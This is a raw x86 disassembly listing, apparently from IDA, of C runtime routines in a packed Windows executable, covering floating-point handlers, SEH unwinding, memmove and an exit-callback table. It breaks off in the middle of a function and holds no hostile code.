fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CD6B call sub_421D51 pop ecx test eax, eax pop ecx jle short loc_41CD4E cmp eax, 2 jle short loc_41CD40 cmp eax, 3 jnz short loc_41CD4E fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421661 add esp, 10h jmp short loc_41CDB0 ; --------------------------------------------------------------------------- loc_41CD40: ; CODE XREF: sub_41CCE5+3Fj push esi push ebx call sub_421E89 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CDB0 ; --------------------------------------------------------------------------- loc_41CD4E: ; CODE XREF: sub_41CCE5+3Aj ; sub_41CCE5+44j fld [ebp+arg_0] fadd dbl_428700 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41CDA8 ; --------------------------------------------------------------------------- loc_41CD6B: ; CODE XREF: sub_41CCE5+2Fj call sub_421D16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CD8E loc_41CD80: ; CODE XREF: sub_41CCE5+ACj push esi push ebx call sub_421E89 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CDB0 ; --------------------------------------------------------------------------- loc_41CD8E: ; CODE XREF: sub_41CCE5+99j test bl, 20h jnz short loc_41CD80 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41CDA8: ; CODE XREF: sub_41CCE5+84j call sub_4216B4 add esp, 1Ch loc_41CDB0: ; CODE XREF: sub_41CCE5+59j ; sub_41CCE5+67j ... pop esi pop ebx leave retn sub_41CCE5 endp ; =============== S U B R O U T I N E ======================================= sub_41CDB4 proc near ; CODE XREF: sub_41BDF4+9p ; sub_421F52+21p ; DATA XREF: ... call sub_41CDCC call sub_421F52 mov dword_4DE618, eax call sub_421F02 fnclex retn sub_41CDB4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41CDCC proc near ; CODE XREF: sub_41CDB4p mov eax, offset sub_422340 mov off_43FBC4, offset sub_421FD5 mov off_43FBC0, eax mov off_43FBC8, offset sub_42203B mov off_43FBCC, offset sub_421F7B mov off_43FBD0, offset sub_422023 mov off_43FBD4, eax retn sub_41CDCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE04 proc near ; CODE XREF: sub_40D1F5+1Bp ; sub_40D1F5+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CE04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CE2B(double) sub_41CE2B proc near ; CODE XREF: sub_40D241+83p ; sub_40EA40+3AEp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43D5C8 call sub_421E89 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CEB1 call sub_421D51 pop ecx test eax, eax pop ecx jle short loc_41CE94 cmp eax, 2 jle short loc_41CE86 cmp eax, 3 jnz short loc_41CE94 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421661 add esp, 10h jmp short loc_41CEF6 ; --------------------------------------------------------------------------- loc_41CE86: ; CODE XREF: sub_41CE2B+3Fj push esi push ebx call sub_421E89 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CEF6 ; --------------------------------------------------------------------------- loc_41CE94: ; CODE XREF: sub_41CE2B+3Aj ; sub_41CE2B+44j fld [ebp+arg_0] fadd dbl_428700 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41CEEE ; --------------------------------------------------------------------------- loc_41CEB1: ; CODE XREF: sub_41CE2B+2Fj call sub_421D16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CED4 loc_41CEC6: ; CODE XREF: sub_41CE2B+ACj push esi push ebx call sub_421E89 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CEF6 ; --------------------------------------------------------------------------- loc_41CED4: ; CODE XREF: sub_41CE2B+99j test bl, 20h jnz short loc_41CEC6 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41CEEE: ; CODE XREF: sub_41CE2B+84j call sub_4216B4 add esp, 1Ch loc_41CEF6: ; CODE XREF: sub_41CE2B+59j ; sub_41CE2B+67j ... pop esi pop ebx leave retn sub_41CE2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEFA proc near ; CODE XREF: sub_4227B1+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41CEFA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41CF2E proc near ; CODE XREF: sub_422962+199p ; sub_422B26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41CF2E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CF35 proc near ; CODE XREF: sub_422962+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41CF35 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF3C proc near ; CODE XREF: sub_41D0EE+5Cp ; sub_4227B1:loc_4227E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41CF64 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426E06 ; RtlUnwind loc_41CF64: ; DATA XREF: sub_41CF3C+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41CF3C endp ; --------------------------------------------------------------------------- loc_41CF8B: ; CODE XREF: .XPack0:00427530j ; .XPack0:0042754Dj ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4223B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFC1 proc near ; CODE XREF: sub_42282C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D015 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422BB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41CFC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D015 proc near ; DATA XREF: sub_41CFC1+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4223B6 add esp, 20h pop ebp retn sub_41D015 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D03A proc near ; CODE XREF: sub_4225F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D0EE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D0C0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DE674 pop ecx pop ecx and [ebp+var_34], 0 loc_41D0C0: ; DATA XREF: sub_41D03A+3Co cmp [ebp+var_4], 0 jz short loc_41D0DD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D0E6 ; --------------------------------------------------------------------------- loc_41D0DD: ; CODE XREF: sub_41D03A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D0E6: ; CODE XREF: sub_41D03A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D03A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0EE proc near ; DATA XREF: sub_41D03A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D111 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D15E ; --------------------------------------------------------------------------- loc_41D111: ; CODE XREF: sub_41D0EE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4223B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D14F push [ebp+arg_0] push [ebp+arg_4] call sub_41CF3C loc_41D14F: ; CODE XREF: sub_41D0EE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D15E: ; CODE XREF: sub_41D0EE+21j pop edi pop esi pop ebx pop ebp retn sub_41D0EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D163 proc near ; CODE XREF: sub_422451+C6p ; sub_4225F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D1BA loc_41D181: ; CODE XREF: sub_41D163+52j cmp esi, 0FFFFFFFFh jnz short loc_41D18B call sub_422C52 loc_41D18B: ; CODE XREF: sub_41D163+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D1A0 cmp ecx, [eax+8] jle short loc_41D1A5 loc_41D1A0: ; CODE XREF: sub_41D163+36j cmp esi, 0FFFFFFFFh jnz short loc_41D1B1 loc_41D1A5: ; CODE XREF: sub_41D163+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D1B1: ; CODE XREF: sub_41D163+40j cmp [ebp+arg_4], 0 jge short loc_41D181 mov eax, [ebp+var_4] loc_41D1BA: ; CODE XREF: sub_41D163+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D1CE cmp esi, eax jbe short loc_41D1D3 loc_41D1CE: ; CODE XREF: sub_41D163+65j call sub_422C52 loc_41D1D3: ; CODE XREF: sub_41D163+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D163 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1E0 proc near ; CODE XREF: sub_423B80+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41D1F8 push [ebp+arg_0] call sub_426E06 ; RtlUnwind loc_41D1F8: ; DATA XREF: sub_41D1E0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D1E0 endp ; =============== S U B R O U T I N E ======================================= sub_41D200 proc near ; DATA XREF: sub_41D222+Ao ; sub_41D28A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D221 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D221: ; CODE XREF: sub_41D200+10j retn sub_41D200 endp ; =============== S U B R O U T I N E ======================================= sub_41D222 proc near ; CODE XREF: sub_4228D2+Dp ; sub_423B80+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D200 push large dword ptr fs:0 mov large fs:0, esp loc_41D23F: ; CODE XREF: sub_41D222:loc_41D27Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D27C cmp esi, [esp+1Ch+arg_4] jz short loc_41D27C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D27A push 101h mov eax, [ebx+esi*4+8] call sub_41D2B6 call dword ptr [ebx+esi*4+8] loc_41D27A: ; CODE XREF: sub_41D222+44j jmp short loc_41D23F ; --------------------------------------------------------------------------- loc_41D27C: ; CODE XREF: sub_41D222+2Aj ; sub_41D222+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D222 endp ; =============== S U B R O U T I N E ======================================= sub_41D28A proc near ; CODE XREF: sub_4228F2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D200 jnz short locret_41D2AC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D2AC mov eax, 1 locret_41D2AC: ; CODE XREF: sub_41D28A+10j ; sub_41D28A+1Bj retn sub_41D28A endp ; =============== S U B R O U T I N E ======================================= sub_41D2AD proc near ; CODE XREF: sub_422BB0+1Ep ; sub_422BB0+40p push ebx push ecx mov ebx, offset dword_43D5CC jmp short loc_41D2C0 sub_41D2AD endp ; =============== S U B R O U T I N E ======================================= sub_41D2B6 proc near ; CODE XREF: sub_41D222+4Fp ; sub_423B80+78p push ebx push ecx mov ebx, offset dword_43D5CC mov ecx, [ebp+8] loc_41D2C0: ; CODE XREF: sub_41D2AD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D2B6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D2D0 proc near ; CODE XREF: sub_40D241+5p ; sub_40D3E0+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D2D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2EF proc near ; CODE XREF: sub_40D873+22p ; .XPack0:00426BA2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B721 pop ecx retn sub_41D2EF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D300 proc near ; CODE XREF: sub_40D8E0+3Ap ; sub_41E542+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D320 cmp edi, eax jb loc_41D498 loc_41D320: ; CODE XREF: sub_41D300+16j test edi, 3 jnz short loc_41D33C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D35C rep movsd jmp off_41D448[edx*4] ; --------------------------------------------------------------------------- loc_41D33C: ; CODE XREF: sub_41D300+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D354 and eax, 3 add ecx, eax jmp dword ptr loc_41D35C+4[eax*4] ; --------------------------------------------------------------------------- loc_41D354: ; CODE XREF: sub_41D300+46j jmp dword ptr loc_41D458[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D35C: ; CODE XREF: sub_41D300+31j ; sub_41D300+8Ej ... jmp off_41D3DC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D370 dd offset loc_41D39C dd offset loc_41D3C0 ; --------------------------------------------------------------------------- loc_41D370: ; DATA XREF: sub_41D300+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D35C rep movsd jmp off_41D448[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D39C: ; DATA XREF: sub_41D300+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D35C rep movsd jmp off_41D448[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D3C0: ; DATA XREF: sub_41D300+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D35C rep movsd jmp off_41D448[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D3DC dd offset loc_41D43F ; DATA XREF: sub_41D300:loc_41D35Cr dd offset loc_41D42C dd offset loc_41D424 dd offset loc_41D41C dd offset loc_41D414 dd offset loc_41D40C dd offset loc_41D404 dd offset loc_41D3FC ; --------------------------------------------------------------------------- loc_41D3FC: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D404: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D40C: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D414: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D41C: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D424: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D42C: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D43F: ; CODE XREF: sub_41D300:loc_41D35Cj ; DATA XREF: sub_41D300:off_41D3DCo jmp off_41D448[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D448 dd offset loc_41D458 ; DATA XREF: sub_41D300+35r ; sub_41D300+92r ... dd offset loc_41D460 dd offset loc_41D46C dd offset loc_41D480 ; --------------------------------------------------------------------------- loc_41D458: ; CODE XREF: sub_41D300+35j ; sub_41D300+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D460: ; CODE XREF: sub_41D300+35j ; sub_41D300+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D46C: ; CODE XREF: sub_41D300+35j ; sub_41D300+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D480: ; CODE XREF: sub_41D300+35j ; sub_41D300+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D498: ; CODE XREF: sub_41D300+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D4CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D4C0 std rep movsd cld jmp off_41D5E0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D4C0: ; CODE XREF: sub_41D300+1B1j ; sub_41D300+208j ... neg ecx jmp off_41D590[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D4CC: ; CODE XREF: sub_41D300+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D4E4 and eax, 3 sub ecx, eax jmp dword ptr loc_41D4E4+4[eax*4] ; --------------------------------------------------------------------------- loc_41D4E4: ; CODE XREF: sub_41D300+1D6j ; DATA XREF: sub_41D300+1DDr jmp off_41D5E0[ecx*4] ; --------------------------------------------------------------------------- align 4 clc aam 41h add [eax], bl aad 41h add [eax-2Bh], al inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D4C0 std rep movsd cld jmp off_41D5E0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D4C0 std rep movsd cld jmp off_41D5E0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D4C0 std rep movsd cld jmp off_41D5E0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D594 dd offset loc_41D59C dd offset loc_41D5A4 dd offset loc_41D5AC dd offset loc_41D5B4 dd offset loc_41D5BC dd offset loc_41D5C4 off_41D590 dd offset loc_41D5D7 ; DATA XREF: sub_41D300+1C2r ; --------------------------------------------------------------------------- loc_41D594: ; DATA XREF: sub_41D300+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D59C: ; DATA XREF: sub_41D300+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D5A4: ; DATA XREF: sub_41D300+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D5AC: ; DATA XREF: sub_41D300+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D5B4: ; DATA XREF: sub_41D300+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D5BC: ; DATA XREF: sub_41D300+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D5C4: ; DATA XREF: sub_41D300+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D5D7: ; CODE XREF: sub_41D300+1C2j ; DATA XREF: sub_41D300:off_41D590o jmp off_41D5E0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D5E0 dd offset loc_41D5F0 ; DATA XREF: sub_41D300+1B7r ; sub_41D300:loc_41D4E4r ... dd offset loc_41D5F8 dd offset loc_41D608 dd offset loc_41D61C ; --------------------------------------------------------------------------- loc_41D5F0: ; CODE XREF: sub_41D300+1B7j ; sub_41D300:loc_41D4E4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D5F8: ; CODE XREF: sub_41D300+1B7j ; sub_41D300:loc_41D4E4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D608: ; CODE XREF: sub_41D300+1B7j ; sub_41D300:loc_41D4E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D61C: ; CODE XREF: sub_41D300+1B7j ; sub_41D300:loc_41D4E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D300 endp ; =============== S U B R O U T I N E ======================================= sub_41D635 proc near ; CODE XREF: sub_40D947+34p ; sub_40D947+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BB57 pop ecx pop ecx retn sub_41D635 endp ; =============== S U B R O U T I N E ======================================= sub_41D643 proc near ; CODE XREF: sub_41D6B0+4p arg_0 = dword ptr 4 push esi push dword_4DFC7C call sub_422CA8 mov edx, dword_4DFC7C pop ecx mov ecx, dword_4DFC78 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D6A2 push edx call sub_422CA8 add eax, 10h push eax push dword_4DFC7C call sub_41B872 add esp, 0Ch test eax, eax jnz short loc_41D685 retn ; --------------------------------------------------------------------------- loc_41D685: ; CODE XREF: sub_41D643+3Fj mov ecx, dword_4DFC78 sub ecx, dword_4DFC7C mov dword_4DFC7C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DFC78, ecx loc_41D6A2: ; CODE XREF: sub_41D643+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DFC78, 4 retn sub_41D643 endp ; =============== S U B R O U T I N E ======================================= sub_41D6B0 proc near ; CODE XREF: sub_40DA34+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D643 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D6B0 endp ; --------------------------------------------------------------------------- push 80h call sub_41BB45 test eax, eax pop ecx mov dword_4DFC7C, eax jnz short loc_41D6E3 push 18h call sub_41E0C9 mov eax, dword_4DFC7C pop ecx loc_41D6E3: ; CODE XREF: .XPack0:0041D6D4j and dword ptr [eax], 0 mov eax, dword_4DFC7C mov dword_4DFC78, eax retn ; =============== S U B R O U T I N E ======================================= sub_41D6F1 proc near ; CODE XREF: sub_40DA56+7Ap ; sub_40DA56+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 